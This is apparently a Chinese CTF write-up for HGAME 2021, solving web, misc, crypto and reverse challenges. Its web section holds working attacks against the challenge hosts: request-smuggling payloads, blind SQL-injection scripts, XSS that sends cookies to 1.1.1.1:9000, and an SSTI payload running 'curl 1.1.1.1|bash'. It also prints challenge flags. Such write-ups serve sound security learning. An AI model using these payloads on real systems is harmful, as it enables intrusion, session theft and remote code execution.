lai来了来了

week1

web

Hitchhiking_in_the_Galaxy

伪造http请求信息

image-20210130220919072

watermelon

控制台修改random函数

1
Math.random = function () { return 10000 }

找到这串

1
2
3
4
5
gameOverShowText: function (e, t) {
if(e > 1999){
alert(window.atob("aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99"))
}
},

base64解码就得到flag了

宝藏走私者

http走私 详情参考:https://paper.seebug.org/1048/

最终构造的请求头

1
2
3
4
5
6
7
8
9
10
11
GET / HTTP/1.1
Host: thief.0727.site
Content-Length: 72
Transfer-Encoding: chunked

0

GET /secret HTTP/1.1
Host: thief.0727.site
Client-IP: 127.0.0.1

智商检测鸡

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
from bs4 import BeautifulSoup
import time
import json
from scipy import integrate
from decimal import Decimal

burp0_url = "http://r4u.top:5000/api/getQuestion"
burp1_url = "http://r4u.top:5000/api/verify"
burp2_url = "http://r4u.top:5000/api/getFlag"
s = requests.session()
while 1:
r = s.get(burp0_url)
if "all have done!" in r.text:
break
js = json.loads(r.text)
print(js)
soup = BeautifulSoup(js["question"],"html.parser")
min_symbol = soup.select("math:nth-child(1) > mrow:nth-child(1) > msubsup:nth-child(1) > mrow:nth-child(2) > mo:nth-child(1)")[0].get_text()
min_num = soup.select("math:nth-child(1) > mrow:nth-child(1) > msubsup:nth-child(1) > mrow:nth-child(2) > mn:nth-child(2)")[0].get_text()
max_num = soup.select("math:nth-child(1) > mrow:nth-child(1) > msubsup:nth-child(1) > mrow:nth-child(3) > mn:nth-child(1)")[0].get_text()
x_num = soup.select("math:nth-child(1) > mrow:nth-child(1) > mn:nth-child(3)")[0].get_text()
# mid_symbol = soup.select("math:nth-child(1) > mrow:nth-child(1) > mo:nth-child(5)")[0].get_text()
static_num = soup.select("math:nth-child(1) > mrow:nth-child(1) > mn:nth-child(6)")[0].get_text()
print(min_symbol,min_num,max_num,x_num,static_num)
start = int(min_symbol+min_num)
stop = int(max_num)
x_num = int(x_num)
static_num = int(static_num)
def func(x):
return x_num*x+static_num
fArea,err = integrate.quad(func,start,stop)
fArea = Decimal(fArea).quantize(Decimal("0.1"), rounding = "ROUND_HALF_UP")
print("Integral area:",fArea)
burp0_json = {"answer": fArea}
q = s.post(burp1_url,json=burp0_json)
print(q.text)
print(s.get(burp2_url).text)

走私者的愤怒

构造CL-CL

1
2
3
4
5
6
7
8
9
10
11
12
GET / HTTP/1.1
Host: police.liki.link
Connection: keep-alive
Content-Length: 71
Content-Length: 3

1
GET /secret HTTP/1.1
Host: police.liki.link
Client-IP: 127.0.0.1


可以出现两个400

image-20210202190556938

构造CL-TE

1
2
3
4
5
6
7
8
9
10
11
12
GET / HTTP/1.1
Host: police.liki.link
Content-Length: 3
Transfer-Encoding: chunked

1

GET /secret HTTP/1.1
Host: police.liki.link
Client-IP: 127.0.0.1
Content-Length: 3

没反应 后来才知道 不能为1要是0 且最后要有回车换行 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
GET / HTTP/1.1
Host: police.liki.link
Content-Length: 94
Transfer-Encoding: chunked

0

GET /secret HTTP/1.1
Host: police.liki.link
Client-IP: 127.0.0.1
Content-Length: 3


自己构造的其它失败payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
printf 'GET / HTTP/1.1\r\n'\
'Host: police.liki.link\r\n'\
'aa: \0bb\r\n'\
'GET /secret HTTP/1.1\r\n'\
'Host: police.liki.link\r\n'\
'Client-IP: 127.0.0.1\r\n'\
'\r\n'\
| nc police.liki.link 80


printf 'GET / HTTP/1.1\r\n'\
'Host: thief.0727.site\r\n'\
'aa: \0bb\r\n'\
'\r\n'\
'GET /secret HTTP/1.1\r\n'\
'Host: 127.0.0.1\r\n'\
'Client-IP:127.0.0.1\r\n'\
'\r\n'\
| nc thief.0727.site 80

printf 'GET / HTTP/1.1\r\n'\
'Host: police.liki.link\r\n'\
'aa: \0bb\r\n'\
'GET http://police.liki.link/secret HTTP/1.1\r\n'\
'\r\n'\
'GET /secret HTTP/1.1\r\n'\
'Host: police.liki.link\r\n'\
'Client-IP: 127.0.0.1\r\n'\
'\r\n'\
| nc police.liki.link 80


printf 'GET / HTTP/1.1\r\n'\
'Host: police.liki.link\r\n'\
'aa: \0bb\r\n'\
'GET http://police.liki.link/secret HTTP/1.1\r\n'\
'\r\n'\
| nc police.liki.link 80

POST请求的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: police.liki.link
Content-Length: 104
Transfer-Encoding: chunked

0


POST /secret HTTP/1.1
Host: police.liki.link
Client-IP: 127.0.0.1
Content-Length: 20

233


其实就比之间的多加了Content-Length

misc

Base全家福

base64 + base32 + hex

不起眼压缩包的养成的方法

binwalk分离出个压缩包 提示密码为图片id 搜了半天没搜到 直接爆破吧 密码

1
70415155

解压出来 明文攻击 这里推荐使用2345好压先查看算法 发现是zipcrypto store 使用7z压缩

1
C8uvP$DP

解压之后hxd打开发现

image-20210131133703360

解实体编码得到flag

Galaxy

wireshark导出http对象 有张png图片 改大小就行

image-20210131192513620

Word RE:MASTER

first.docx改成压缩包 在word/password.xml里找到 brainfuck编码的东西

image-20210131142504757

解码:https://tool.bugku.com/brainfuck/

得到

1
DOYOUKNOWHIDDEN?

是另外一个word的密码 隐藏文字 下面的并不是全部都是一种字符 提示雪 猜测snow隐写 下载地址:

http://www.darkside.com.au/snow/

用格式刷去掉下面的线 复制出来保存文本中 使用下面命令 不指定密码得到flag

1
SNOW.EXE -C 1.txt

crypto

まひと

摩斯密码 用这个解 http://www.zhongguosou.com/zonghe/moersicodeconverter.aspx

接着ascii转字符串

1
2
3
4
5
6
s= [86,109,108,110,90,87,53,108,99,109,85,116,84,71,108,114,97,84,112,57,86,109,116,116,100,107,112,105,73,84,70,89,100,69,70,52,90,83,70,111,99,69,48,120,101,48,48,114,79,88,104,120,101,110,74,85,84,86,57,79,97,110,53,106,85,109,99,48,101,65,61,61]
print(len(s))
flag=''
for j in s:
flag+=chr(j)
print(flag)

得到

1
VmlnZW5lcmUtTGlraTp9VmttdkpiITFYdEF4ZSFocE0xe00rOXhxenJUTV9Oan5jUmc0eA==

base64解码得到

1
Vigenere-Liki:}VkmvJb!1XtAxe!hpM1{M+9xqzrTM_Nj~cRg4x

维吉尼亚密码 密钥为Liki

1
}KccnYt!1NlPpu!zeE1{C+9pfrhLB_Fz~uGy4n

栅栏密码 栏数为6 N型 拼凑格式成 }xxxxxxxxxxx{xxxxx

1
}!!Ch~K1z+LucNe9BGclEp_ynP1fF4Yp{rzntu

逆序

1
utnzr{pY4Ff1Pny_pElcGB9eNcuL+z1K~hC!!}

凯撒密码

1
hgame{cL4Ss1Cal_cRypTO9rAphY+m1X~uP!!}

对称之美

1
2
3
4
5
6
7
8
9
10
import random
import string
import itertools
from secret import FLAG

key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

cipher = bytes([ord(m)^ord(k) for m, k in zip(FLAG, itertools.cycle(key))])

print(cipher)

搜了半天 找到个xortools 不过没啥用:

https://blog.gpx.moe/2020/02/17/SJTU-CTF-2019-WriteUp-Crypto/

后来看wp才知道是MTP:https://github.com/CameronLonsdale/MTP 这是啥玩意?

分成16一组

1
2
3
4
5
6
7
8
cipher=b''
length = len(cipher)
t = length // 16
f = open("cipher.ciphertexts", "w")
for i in range(0, t):
print(cipher[i * 16 : (i + 1) * 16].hex(), file=f)
print(cipher[t * 16 : -1].hex(), file=f)
f.close()

明文是一段包含flag的英文文献

Transformer

quipqiup直接解:https://quipqiup.com/

不知道其它附件有啥用

image-20210131140708108

在后面加上2021就行

re

pypy

参考:

https://www.yuque.com/cyberangel/vqcmca/vms5ep

https://www.yuque.com/cyberangel/rg9gdm/vebs87

https://docs.python.org/3/library/dis.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
  4           0 LOAD_GLOBAL              0 (input)
2 LOAD_CONST 1 ('give me your flag:\n')
4 CALL_FUNCTION 1
6 STORE_FAST 0 (raw_flag)

5 8 LOAD_GLOBAL 1 (list)
10 LOAD_FAST 0 (raw_flag)
12 LOAD_CONST 2 (6)
14 LOAD_CONST 3 (-1)
16 BUILD_SLICE 2
18 BINARY_SUBSCR
20 CALL_FUNCTION 1
22 STORE_FAST 1 (cipher)

6 24 LOAD_GLOBAL 2 (len)
26 LOAD_FAST 1 (cipher)
28 CALL_FUNCTION 1
30 STORE_FAST 2 (length)

8 32 LOAD_GLOBAL 3 (range)
34 LOAD_FAST 2 (length)
36 LOAD_CONST 4 (2)
38 BINARY_FLOOR_DIVIDE
40 CALL_FUNCTION 1
42 GET_ITER
>> 44 FOR_ITER 54 (to 100)
46 STORE_FAST 3 (i)

9 48 LOAD_FAST 1 (cipher)
50 LOAD_CONST 4 (2)
52 LOAD_FAST 3 (i)
54 BINARY_MULTIPLY
56 LOAD_CONST 5 (1)
58 BINARY_ADD
60 BINARY_SUBSCR
62 LOAD_FAST 1 (cipher)
64 LOAD_CONST 4 (2)
66 LOAD_FAST 3 (i)
68 BINARY_MULTIPLY
70 BINARY_SUBSCR
72 ROT_TWO
74 LOAD_FAST 1 (cipher)
76 LOAD_CONST 4 (2)
78 LOAD_FAST 3 (i)
80 BINARY_MULTIPLY
82 STORE_SUBSCR
84 LOAD_FAST 1 (cipher)
86 LOAD_CONST 4 (2)
88 LOAD_FAST 3 (i)
90 BINARY_MULTIPLY
92 LOAD_CONST 5 (1)
94 BINARY_ADD
96 STORE_SUBSCR
98 JUMP_ABSOLUTE 44

12 >> 100 BUILD_LIST 0
102 STORE_FAST 4 (res)

13 104 LOAD_GLOBAL 3 (range)
106 LOAD_FAST 2 (length)
108 CALL_FUNCTION 1
110 GET_ITER
>> 112 FOR_ITER 26 (to 140)
114 STORE_FAST 3 (i)

14 116 LOAD_FAST 4 (res)
118 LOAD_METHOD 4 (append)
120 LOAD_GLOBAL 5 (ord)
122 LOAD_FAST 1 (cipher)
124 LOAD_FAST 3 (i)
126 BINARY_SUBSCR
128 CALL_FUNCTION 1
130 LOAD_FAST 3 (i)
132 BINARY_XOR
134 CALL_METHOD 1
136 POP_TOP
138 JUMP_ABSOLUTE 112

15 >> 140 LOAD_GLOBAL 6 (bytes)
142 LOAD_FAST 4 (res)
144 CALL_FUNCTION 1
146 LOAD_METHOD 7 (hex)
148 CALL_METHOD 0
150 STORE_FAST 4 (res)

16 152 LOAD_GLOBAL 8 (print)
154 LOAD_CONST 6 ('your flag: ')
156 LOAD_FAST 4 (res)
158 BINARY_ADD
160 CALL_FUNCTION 1
162 POP_TOP
164 LOAD_CONST 0 (None)
166 RETURN_VALUE

# your flag: 30466633346f59213b4139794520572b45514d61583151576638643a

换源出来的代码:

1
2
3
4
5
6
7
8
9
10
raw_flag = '30466633346f59213b4139794520572b45514d61583151576638643a'
cipher = list(raw_flag[6:-1])
length = len(cipher)
for i in range(0,length//2):
cipher[2*i+1],cipher[i*2] = cipher[i*2],cipher[2*i+1]
res = []
for i in range(length):
res.append(ord(cipher[i])^i)

print(bytes(res).hex())

就一个异或和换位 逆向脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hex_flag = '30466633346f59213b4139794520572b45514d61583151576638643a'.encode()
res1 = []
for i in range(0,len(hex_flag),2):
res1.append(int(hex_flag[i:i+2],16))
print(res1)
res2 = []
for i in range(len(res1)):
res2.append(chr(res1[i]^i))
print(res2)
print(len(res2))
res3 = res2
for i in range(0,28//2):
res3[2*i+1],res3[i*2] = res3[i*2],res3[2*i+1]
print(res3)
print(''.join(res3))

week2

web

LazyDogR4U

www.zip有源码 有个config.ini存放用户账号密码 MD5解不出来 一个用户的密码很奇怪 0e纯数字

image-20210208151736009

image-20210208151826805

这不就弱比较?不过好像没用到 关键点在

lazy.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
foreach ($$_request as $_k => $_v){
foreach ($filter as $youBadBad){
$_k = str_replace($youBadBad, '', $_k);
}
${$_k} = $_v;
}
}


// 自动加载类,这样我也能少打字力,芜湖~
function auto($class_name){
require_once $class_name . ".php";
}
spl_autoload_register('auto');

这里将GET POST的值全部声明成了变量 并且过滤SESSION只是替换为空 完全可以双写绕过

得到flag的条件

flag.php:

image-20210208153418592

payload:

1
?_SESSESSIONSION[username]=admin

Liki的生日礼物

bp intruder一开 谁都不爱 不太懂 就理解成条件竞争吧 20线程 每次兑三个

Post to zuckonit

xss题目 测了下 发现碰到一些关键字会反转并替换标签 img标签不会反转 并且过滤了http

最终构造payload:

1
>"eikooc.tnemucod+'?/0009:1.1.1.1//:pt'+'th'=noitacol.tnemucod"=rorreno "onerror/"=crs gmi<

反转过来就是 onerror是为了触发反转

1
<img src="/rorreno" onerror="document.location='ht'+'tp://1.1.1.1:9000/?'+document.cookie">

http过滤使用字符串拼接 接收到token 带上访问/flag就行

200OK!!

bool盲注 将from 空格 select where等替换为空 双写绕过 这里有个技巧 不知道替换了哪些关键字 只需在substr里加上 比对跑出来的结果就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url="https://200ok.liki.link/server.php"
flag=''
for i in range(1,1000):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
headers1={'Status':"1' && if(ascii(substr((selselectect/**/*/**/frfromom/**/week2sqli.f1111111144444444444g),{},1))={},1,0) || '".format(str(i),str(mid))}
headers2={'Status':"1' && if(ascii(substr((selselectect/**/*/**/frfromom/**/week2sqli.f1111111144444444444g),{},1))>{},1,0) || '".format(str(i),str(mid))}
try:
r1=requests.get(url,headers=headers1,verify=False)
print(i,mid)
if 'NETWORK ERROR' in r1.text:
flag+=chr(mid)
print(flag)
break
r=requests.get(url,headers=headers2,verify=False)
if "NETWORK ERROR" in r.text:
low=mid+1
else:
top=mid-1
except Exception as e:
pass
if flag==f1:
break
print(flag)

# 5.7.30-0ubuntu0.18.04.1-log
# information_schema,mysql,performance_schema,sys,week2sqli
# admin,ctf,mysql.session,mysql.sys,root
# ,,,*B5C6150DA828591E9B8C7A5F85FDE7855CE0B52B,*59419F0BF653D69723310B90585B040F3D434A23
# f1111111144444444444g,status
# ffffff14gggggg

扫目录发现database.php和phpmyadmin 注mysql库 注意mysql5.7 密码字段更改为authentication_string

解不出来 淦 老实的注就出了

misc

Tools

两个文件7z和jpg 7z文件名提示F5隐写 空密码不行 在图片备注里找到密码

image-20210209133531629

1
java Extract Matryoshka.jpg  -p "!LyJJ9bi&M7E72*JyD"

提取出来7z密码

解压出来01.jpg残损二维码和另外一个Steghide.7z 同样在备注里有Steghide密码

1
steghide extract -sf 01.jpg

分离出01.jpgOutguess.7z 同样在备注里有Outguess密码

1
./outguess -k "z0GFieYAee%gdf0%lF" -r 02.jpg hidden.txt

继续解压得到03.jpgJPHS.7z 同样在备注里有JPHS密码

使用工具提取就行

image-20210209140514990

四张残缺二维码已经齐了 mspaint打开画图最后拼出来

image-20210209140925608

Hallucigenia

Stegslove分析出

image-20210209143953225

扫描之后 得到一串字符串base64解码之后发现是

image-20210209144734535

最后面的GNP反过来不就是png吗?写个脚本转换下

1
2
3
4
5
import base64

s = 'gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk='
with open('1.png', 'wb') as f:
f.write(base64.b64decode(s)[::-1])

得到

image-20210209145052869

直接垂直翻转就行

image-20210209145318900

DNS

流量包 http请求有发向flag.hgame2021.cf 访问

image-20210209142256004

SPF的完整意思为 “Sender Policy Framework”。翻译过来就是发送方策略框架,是一项跟 DNS 相关的技术,它的内容写在 DNS 的 txt 类型记录里面

只需查询域名的txt记录就行

image-20210209142353882

Telegraph:1601 6639 3459 3134 0892

在频谱图里找到850Hz字样

image-20210209150319739

不知道有啥用 听了一遍 发现有电报音 用这个网站可以听出来:https://morsecode.world/international/decoder/audio-decoder-adaptive.html

多试几遍 比对一下

image-20210210174347544

crypto

WhitegiveRSA

1
2
3
N = 882564595536224140639625987659416029426239230804614613279163
e = 65537
c = 747831491353896780365654517748216624798517769637260742155527

N知道了 factordb分解出p q

http://www.factordb.com/

1
2
p = 857504083339712752489993810777
q = 1029224947942998075080348647219

exp:

1
2
3
4
5
6
7
8
9
10
11
import gmpy2
import libnum

c = 747831491353896780365654517748216624798517769637260742155527
e = 65537
N = 882564595536224140639625987659416029426239230804614613279163
p = 857504083339712752489993810777
q = 1029224947942998075080348647219
d = gmpy2.invert(e, (p-1)*(q-1))
m = pow(c, d, N)
print(libnum.n2s(m))

gcd or more?

1
2
3
4
5
6
7
8
9
10
from libnum import *
from secret import FLAG

p = 85228565021128901853314934583129083441989045225022541298550570449389839609019
q = 111614714641364911312915294479850549131835378046002423977989457843071188836271
n = p * q

cipher = pow(s2n(FLAG), 2, n)
print(cipher)
# 7665003682830666456193894491015989641647854826647177873141984107202099081475984827806007287830472899616818080907276606744467453445908923054975393623509539

e=2 radin 不太懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import libnum
import gmpy2

def rabin_decrypt(c, p, q, e=2):
n = p * q
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
print((r, rr, s, ss))
return ss

p = 85228565021128901853314934583129083441989045225022541298550570449389839609019
q = 111614714641364911312915294479850549131835378046002423977989457843071188836271
c = 7665003682830666456193894491015989641647854826647177873141984107202099081475984827806007287830472899616818080907276606744467453445908923054975393623509539

# print(rabin_decrypt(c,p,q,2))
print(libnum.n2s(rabin_decrypt(c,p,q,2)))

signin

Schmidt-Samoa cryptosystem

https://blog.csdn.net/zhang14916/article/details/106597866

week3

web

Forgetful

标题那里ssti p神的payload 一把梭

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("curl 1.1.1.1|bash").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

Liki-Jail

sql注入 也没啥难度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

proxies={
"https":"127.0.0.1:8080"
}
url="https://jailbreak.liki.link/login.php"
flag=''
for i in range(1,1000):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
# data1={"username": "admin\\","password":'/**/or/**/if(ascii(substr(database(),{},1))/**/like/**/{},sleep(3),0)#'.format(str(i),str(mid))}
# data2={"username": "admin\\","password":'/**/or/**/if(ascii(substr(database(),{},1))/**/>/**/{},sleep(3),0)#'.format(str(i),str(mid))}
# data1={"username": "admin\\","password":'/**/or/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),{},1))/**/like/**/{},sleep(3),0)#'.format(str(i),str(mid))}
# data2={"username": "admin\\","password":'/**/or/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),{},1))/**/>/**/{},sleep(3),0)#'.format(str(i),str(mid))}
# data1={"username": "admin\\","password":'/**/or/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/0x7535657273),{},1))/**/like/**/{},sleep(3),0)#'.format(str(i),str(mid))}
# data2={"username": "admin\\","password":'/**/or/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/0x7535657273),{},1))/**/>/**/{},sleep(3),0)#'.format(str(i),str(mid))}
data1={"username": "admin\\","password":'/**/or/**/if(ascii(substr((select/**/group_concat(`p@ssword`)/**/from/**/u5ers),{},1))/**/like/**/{},sleep(3),0)#'.format(str(i),str(mid))}
data2={"username": "admin\\","password":'/**/or/**/if(ascii(substr((select/**/group_concat(`p@ssword`)/**/from/**/u5ers),{},1))/**/>/**/{},sleep(3),0)#'.format(str(i),str(mid))}
try:
print(i,mid)
r1=requests.post(url,data=data1,timeout=3,proxies=proxies,verify=False)
except requests.exceptions.ReadTimeout as e:
flag+=chr(mid)
print(flag)
break
except Exception as e:
pass
else:
try:
r2=requests.post(url,data=data2,timeout=3,proxies=proxies,verify=False)
except requests.exceptions.ReadTimeout as e:
low=mid+1
except Exception as e:
pass
else:
top=mid-1

if flag==f1:
break
print(flag)
# week3sqli
# u5ers
# usern@me,p@ssword

Post to zuckonit2.0

xss 测了测 发现把<>都替换成空了 不过增加了一个替换功能 猜测关键点肯定在这

每次改变发现变的内容都在js的两个参数

image-20210217140038273

能不能js注入?试下吧

1
";alert(1);"

image-20210217140213694

发现第一个参数将"实体编码了 但是第二个没有 并且成功弹窗 换成盗取cookie的payload:

1
";document.location='http://1.1.1.1:9000/?'+document.cookie;"

淦 貌似只会访问首页 啊这 仔细看了看 无意间看到了

image-20210219153037354

TMD 竟然有源码 app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
@app.route('/')
def home():
response = make_response(render_template("index.html"))
response.headers['Set-Cookie'] = "token=WELCOME TO HGAME 2021.;"
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"
return response


@app.route('/preview')
def preview():
if session.get('substr') and session.get('replacement'):
substr = session['substr']
replacement = session['replacement']
else:
substr = ""
replacement = ""
response = make_response(
render_template("preview.html", substr=substr, replacement=replacement))
return response


@app.route('/send', methods=['POST'])
def send():
if request.form.get('content'):
content = escape_index(request.form['content'])
if session.get('contents'):
content_list = session['contents']
content_list.append(content)
else:
content_list = [content]
session['contents'] = content_list
return "post has been sent."
else:
return "WELCOME TO HGAME 2021 :)"


@app.route('/replace', methods=["POST"])
def replace():
if request.form.get('substr') and request.form.get('replacement'):
session['substr'] = escape_replace(request.form['substr'])
session['replacement'] = escape_replace(request.form['replacement'])
return "replace success"
else:
return "There is no content to replace any more"


@app.route('/contents', methods=["GET"])
def get_contents():
if session.get('contents'):
content_list = jsonify(session['contents'])
else:
content_list = jsonify('<i>2021-02-12</i><p>Happy New Year every guys! '
'Maybe it is nearly done now.</p>',
'<i>2021-02-11</i><p>Busy preparing for the Chinese New Year... '
'And I add some new features to this editor, maybe you can take a try. '
'But it has not done yet, I\'m not sure if it can be safe from attacks.</p>',
'<i>2021-02-07</i><p>so many hackers here, I am going to add some strict rules.</p>',
'<i>2021-02-06</i><p>I have tried to learn HTML the whole yesterday, '
'and I finally made this ONLINE BLOG EDITOR. Feel free to write down your thoughts.</p>',
'<i>2021-02-05</i><p>Yesterday, I watched <i>The Social Network</i>. '
'It really astonished me. Something flashed me.</p>')
return content_list


@app.route('/code', methods=["GET"])
def get_code():
if session.get('code'):
return Response(response=json.dumps({'code': session['code']}), status=200, mimetype='application/json')
else:
code = create_code()
session['code'] = code
return Response(response=json.dumps({'code': code}), status=200, mimetype='application/json')


@app.route('/flag')
def show_flag():
if request.cookies.get('token') == "29342ru89j3thisisfakecookieq983h23ijfq2ojifrnq92h2":
return "hgame{G3t_fl@g_s0_Easy?No_way!!wryyyyyyyyy}"
else:
return "Only admin can get the flag, your token shows that you're not admin!"


@app.route('/clear')
def clear_session():
session['contents'] = []
return "ALL contents are cleared."


def escape_index(original):
content = original
content_iframe = re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
return content_iframe
else:
content = re.sub(r"<*/?(.*?)>?", r"\1", content)
return content


def escape_replace(original):
content = original
content = re.sub("[<>]", "", content)
return content


def create_code():
hashobj = hashlib.md5()
hashobj.update(bytes(str(time.time()), encoding='utf-8'))
code_hash = hashobj.hexdigest()[:6]
return code_hash

escape_index函数这不就是个后门吗? 并且有csp

1
Content-Security-Policy: default-src 'self'; script-src 'self';

只允许引用来自同端口,同域名,同协议的资源

和上面串起来了 构造

1
<iframe src='/preview'>

然后再提交bot就行了 有点懵 bot是带着我们的session访问的?不管了

Post to zuckonit another version

还是可以利用iframe标签引入资源

1
<iframe src='/preview'>

和上面基本一样 唯一改变的地方就是替换变成搜索了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script>
$(function () {
$.get("/contents").done(function (data) {
let content = "aaa"
let output = document.getElementById("output")
for (let i = 0; i < data.length; i++) {
let div = document.createElement("div")
if (content !== "") {
let substr = new RegExp(content, 'g')
div.innerHTML = data[i].replace(substr, `<b class="search_result">${content}</b>`)
output.appendChild(div)
} else {
output.appendChild(div)
}
}
})
})
</script>

这里利用就是$1 即正则匹配的分组 默认情况下是 有一些标签的

image-20210220120029141

利用正则匹配分组将<>匹配出来 拼接过去就行

payload 直接用script貌似不行:

1
(.{1})iframe src=(.*?)preview(.*?) (.{1})|$1img src='/aaa' onerror='alert(1)'$4|aaaa

发现可以弹窗 替换成盗cookie的

1
(.{1})iframe src=(.*?)preview(.*?) (.{1})|$1img src='/aaa' onerror='&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&period;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&equals;&apos;&#104;&#116;&#116;&#112;&colon;&sol;&sol;&#49;&#48;&#51;&period;&#49;&#53;&#50;&period;&#49;&#51;&#50;&period;&#49;&#54;&colon;&#57;&#48;&#48;&#48;&sol;&quest;&apos;&plus;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&period;&#99;&#111;&#111;&#107;&#105;&#101;'$4|aaaa

实体编码那部分是

1
document.location='http://1.1.1.1:9000/?'+document.cookie

Arknights

.git泄露

simulator.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
<?php

class Simulator{

public $session;
public $cardsPool;

public function __construct(){

$this->session = new Session();
if(array_key_exists("session", $_COOKIE)){
$this->session->extract($_COOKIE["session"]);
}

$this->cardsPool = new CardsPool("./pool.php");
$this->cardsPool->init();
}

public function draw($count){
$result = array();

for($i=0; $i<$count; $i++){
$card = $this->cardsPool->draw();

if($card["stars"] == 6){
$this->session->set('', $card["No"]);
}

$result[] = $card;
}

$this->session->save();

return $result;
}

public function getLegendary(){
$six = array();

$data = $this->session->getAll();
foreach ($data as $item) {
$six[] = $this->cardsPool->cards[6][$item];
}

return $six;
}
}

class CardsPool
{

public $cards;
private $file;

public function __construct($filePath)
{
if (file_exists($filePath)) {
$this->file = $filePath;
} else {
die("Cards pool file doesn't exist!");
}
}

public function draw()
{
$rand = mt_rand(1, 100);
$level = 0;

if ($rand >= 1 && $rand <= 42) {
$level = 3;
} elseif ($rand >= 43 && $rand <= 90) {
$level = 4;
} elseif ($rand >= 91 && $rand <= 99) {
$level = 5;
} elseif ($rand == 100) {
$level = 6;
}

